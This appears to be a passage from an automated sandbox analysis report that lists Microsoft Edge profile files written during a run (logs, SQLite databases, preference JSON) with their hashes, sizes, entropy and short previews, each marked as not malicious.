SHA1:	38C95DEFC9C0EE62D677091B300E341B5917E5D2
SHA-256:	8D2AAD5E127AE5856765AF585373295C9FEED5434B1D72AD85AF9F9FC475ADF8
SHA-512:	60B2DDFF954853A1E3A26711B95CEC87A81D4E878D6BE7BA330415C2C67E53D7314B800D34B57B28B9B9FB5B2B6C8A604A1614634423D33CE42F426311572D2E
Malicious:	false
Preview:	2024/11/15-03:55:49.028 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/15-03:55:49.029 19bc Recovering log #3.2024/11/15-03:55:49.035 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.256631431318954
Encrypted:	false
SSDEEP:	6:HUHigwVq2PcNwi23oH+TcwtpIFUt8YUHzAgZmw+YUHzAIkwOcNwi23oH+Tcwta/o:dRvLZYebmFUt8H/+V54ZYebaUJ
MD5:	0012A1EA20CCC2802C66E6A79B06ADC6
SHA1:	D4FDDB1A70C1A1AD63258219D7EF4EB5F3639049
SHA-256:	1695DCE46B2D2FC8BA3B18524EE74CF2D1F0F810D8785D80FB879EDA3AC53ECE
SHA-512:	853B6C5CC00AD97795F30861B3573745CA76DFEBAA685FB5A2855EBE7BAD39BD878B02A805035FAF458536124742301165B8C88813F91D6F4AD8528DFA1D3A97
Malicious:	false
Preview:	2024/11/15-03:55:31.259 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/15-03:55:31.260 674 Recovering log #3.2024/11/15-03:55:31.260 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.256631431318954
Encrypted:	false
SSDEEP:	6:HUHigwVq2PcNwi23oH+TcwtpIFUt8YUHzAgZmw+YUHzAIkwOcNwi23oH+Tcwta/o:dRvLZYebmFUt8H/+V54ZYebaUJ
MD5:	0012A1EA20CCC2802C66E6A79B06ADC6
SHA1:	D4FDDB1A70C1A1AD63258219D7EF4EB5F3639049
SHA-256:	1695DCE46B2D2FC8BA3B18524EE74CF2D1F0F810D8785D80FB879EDA3AC53ECE
SHA-512:	853B6C5CC00AD97795F30861B3573745CA76DFEBAA685FB5A2855EBE7BAD39BD878B02A805035FAF458536124742301165B8C88813F91D6F4AD8528DFA1D3A97
Malicious:	false
Preview:	2024/11/15-03:55:31.259 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/15-03:55:31.260 674 Recovering log #3.2024/11/15-03:55:31.260 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651063460785137
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMRSAELyKOMq+8HKkjucswRv8p3nVumA:K0q+n0JR9ELyKOMq+8HKkjuczRv898
MD5:	F23277BBA83D9EC6F332340F238375AB
SHA1:	975E8BC9132EAA7B456C65F31170AEEF54B1DDDD
SHA-256:	ED4602A9B0A584D176DD6B3AC87772E1EFBDA217237619198B903A90BE81D79E
SHA-512:	83C2F39B34A3258AEF97924DDE35C6C49265B577E2C53C3A41514CEF92C63B96E7ED6E9945D6B4D1798FCD8F5F86FAAF6E5043BCE7226360780E5871CD30B8BE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4669199951581033
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0lW:v7doKsKuKZKlZNmu46yjx0Q
MD5:	15C77F2C460DBB8B7131AE0281EE5FC2
SHA1:	327EFE4582ECC36ACCABB4530B24216B037B6EE8
SHA-256:	44D3C3DB76C1D4591E78FC82314BBEE9030029F203DC8F04CFA9AC88C7362BB0
SHA-512:	6B467B2C0052A56D99EC94ED198E450F33A5844CABE6509A88208356BB69751F22B038631CD6EFEABB63EB61E0874A89C8453EB10CCA8C0DC23BA9CC1F3CA067
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e09f2d49-e6a0-4da4-a095-fa33a25ef9c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14657), with no line terminators
Category:	dropped
Size (bytes):	14661
Entropy (8bit):	5.486173265168275
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNPxbUckzkNwXPLKxcVCUZDhXI8xbV+FbqQwY1cPSYJ:stQQOVszgtJxgN+CVCUZdnbG+QwUC
MD5:	CC731C10B38FC5A3EDD796F82B679309
SHA1:	31BA8F6D30AD6E0138020FC2DEBF1B1B0ED41F15
SHA-256:	7802DCAA667EA4771F83F8688FF02EA54B18B8F57C4BFC58EA896641C76AF0BA
SHA-512:	B69B558C347CB57063A2836F9D9DD4354F2558079384EBE49F5B18B8E49E8C8770E18A69D480C3D7126E84F8459318672EF116851A049846FCB7DBFF869F4ED5
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f5c6df2f-a5c3-4d42-8459-cf3bbae90bea.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14657), with no line terminators
Category:	dropped
Size (bytes):	14661
Entropy (8bit):	5.486340049994431
Encrypted:	false
SSDEEP:	192:stQkdpOVszgyaNPxbUckzkNwXPLKxcVCUZDhXI8xbV+FbqQwYEcPSYJ:stQQOVszgtJxgN+CVCUZdnbG+QwFC
MD5:	CF35B87FBCADD79C15F0A923FF6DE716
SHA1:	5BCB744240A4447425ECE1D55E8D474662583673
SHA-256:	345ECFBA0B76C3913B137CFD7AE839D4C13A65684E8EE42192B8CAF9434334AD
SHA-512:	1B5EEF8AF020D910B174D52EED318AC413BAD3795A1C2AC62D3C9F4D52256E729088A027A7BD6878D3CDE61724B6960EB62C6306823EE8729B6ADE5C5C56E1BE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376134532451545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10259139715805989
Encrypted:	false
SSDEEP:	12:+bP1bPCspEjVl/PnnnnnnnnnnnvoQ/Eou:+r1rfoPnnnnnnnnnnnv1j
MD5:	DE63AE00F03B8D68A5CF2A9BCEE0E463
SHA1:	8D56B64FE5142310577110778178CAAEDC707142
SHA-256:	074D2E91CFFD6D1CD6FB400E6C6AB7A77F7EB3876DD32F8A6AE4AF215BAA17B9
SHA-512:	C90A139543E6F34336E44C2025639372E06FE0FF52AE9585DC584F4B28AF1004950130192F9F1EC5894E8579EBF491609657380C09E1C28AA921DF8CF29FA908
Malicious:	false
Preview:	..-.............M.........2!."..3.-.......,.R&..-.............M.........2!."..3.-.......,.R&........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8890887808742306
Encrypted:	false
SSDEEP:	384:Z8MKyVGbbn4cMkfcjcq2YScBzDVxcQQBffchQJPTcvQA1xcPQXvPc+1FQXPv83cd:3e42fYu14XviXeCLQz7IUn9QgDU
MD5:	AFD904E542142FF21CF6930DD35DBA08
SHA1:	7506EB7634001F5EBE08091029F634431366EAC5
SHA-256:	D357BB6AA2C35B1ADF99E1CC15158869BC3D87A1567EF272177A0B7F5DB6111C
SHA-512:	0B84E90C80DD17F2F494F782E3FAA8161B01F9B48C6774AC8E1BFFADEBBDB1DCCE72CB8CB810F07C8F69A0A66A6F15524D92400E69A9C590741D594A059F6DDB
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.040327663595095
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuu94illlLEtVlRPsedhO1:llc8BOuuuuuuuuuu9ZlllL0V3U8A
MD5:	F8420935B7FE8B7E90A211039AD6C207
SHA1:	891E49AF12BF03EAB6052889AB71F06ABD9D5F46
SHA-256:	62AA1D96D363545A03A73E52EFB46AA3452E5DF9AF6A20F7A6BCF3D8B8E48116
SHA-512:	B1184E9C2BBD610A1B94739E698605C0D40B9F2E893BF4E9509E0608E785382692C7525790FBFA9258E3AB91E89BCD9AC043402A819E443A601848C951EBE65A
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............^.4.;...............#38_h.......6.Z..W.F.....G.......G............V.e................V.e...................0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.273178582589423
Encrypted:	false
SSDEEP:	6:HUHbUVq2PcNwi23oH+TcwtfrK+IFUt8YUHbZLAgZmw+YUHbZLAIkwOcNwi23oH+t:isvLZYeb23FUt85v/+5954ZYeb3J
MD5:	50879D90AA4D2C3CE0762FDD2BCF6012
SHA1:	2ACD6B0F1F2A5421A44F8D95A1518B530D9311F9
SHA-256:	E6363C7862830D5BB5E05E04EC15C63D8878CD453C624BEC3CD35C88A98F158C
SHA-512:	CB8033015DECA534619DDCA1D48543EB7232CC2095B7C600A9CDA6F35B228272658EB36DF76A4A14392C2EACE36F0F96401B00C3A1C72931F2C15502F7E60F95
Malicious:	false
Preview:	2024/11/15-03:55:32.469 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/15-03:55:32.470 674 Recovering log #3.2024/11/15-03:55:32.470 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.273178582589423
Encrypted:	false
SSDEEP:	6:HUHbUVq2PcNwi23oH+TcwtfrK+IFUt8YUHbZLAgZmw+YUHbZLAIkwOcNwi23oH+t:isvLZYeb23FUt85v/+5954ZYeb3J
MD5:	50879D90AA4D2C3CE0762FDD2BCF6012
SHA1:	2ACD6B0F1F2A5421A44F8D95A1518B530D9311F9
SHA-256:	E6363C7862830D5BB5E05E04EC15C63D8878CD453C624BEC3CD35C88A98F158C
SHA-512:	CB8033015DECA534619DDCA1D48543EB7232CC2095B7C600A9CDA6F35B228272658EB36DF76A4A14392C2EACE36F0F96401B00C3A1C72931F2C15502F7E60F95
Malicious:	false
Preview:	2024/11/15-03:55:32.469 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/15-03:55:32.470 674 Recovering log #3.2024/11/15-03:55:32.470 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.247828795031173
Encrypted:	false
SSDEEP:	6:HUHbNF3AVq2PcNwi23oH+TcwtfrzAdIFUt8YUHbC0gZmw+YUHbC0IkwOcNwi23o/:iNF34vLZYeb9FUt85C9/+5CP54ZYeb2J
MD5:	BEF5DDE04096A630FB31D74379D6DD20
SHA1:	3B0264772F7727C1F62C05F0B1DB07BB92DE4984
SHA-256:	83675F9EF00C521A7EBCC89168BC3500119A3F0607AC181E67821DD9E85E187F
SHA-512:	C2928E09746E2DBB9DAE03D5077E1B82EDE667C122EB8BA140882D699F23DF02D43DF2B7DC51A1DA0A5046D0DD44297688436B0FA08C1DADF758C3A4C765FA03
Malicious:	false
Preview:	2024/11/15-03:55:32.465 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/15-03:55:32.466 674 Recovering log #3.2024/11/15-03:55:32.466 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.247828795031173
Encrypted:	false
SSDEEP:	6:HUHbNF3AVq2PcNwi23oH+TcwtfrzAdIFUt8YUHbC0gZmw+YUHbC0IkwOcNwi23o/:iNF34vLZYeb9FUt85C9/+5CP54ZYeb2J
MD5:	BEF5DDE04096A630FB31D74379D6DD20
SHA1:	3B0264772F7727C1F62C05F0B1DB07BB92DE4984
SHA-256:	83675F9EF00C521A7EBCC89168BC3500119A3F0607AC181E67821DD9E85E187F
SHA-512:	C2928E09746E2DBB9DAE03D5077E1B82EDE667C122EB8BA140882D699F23DF02D43DF2B7DC51A1DA0A5046D0DD44297688436B0FA08C1DADF758C3A4C765FA03
Malicious:	false
Preview:	2024/11/15-03:55:32.465 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/15-03:55:32.466 674 Recovering log #3.2024/11/15-03:55:32.466 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2673c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2674b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
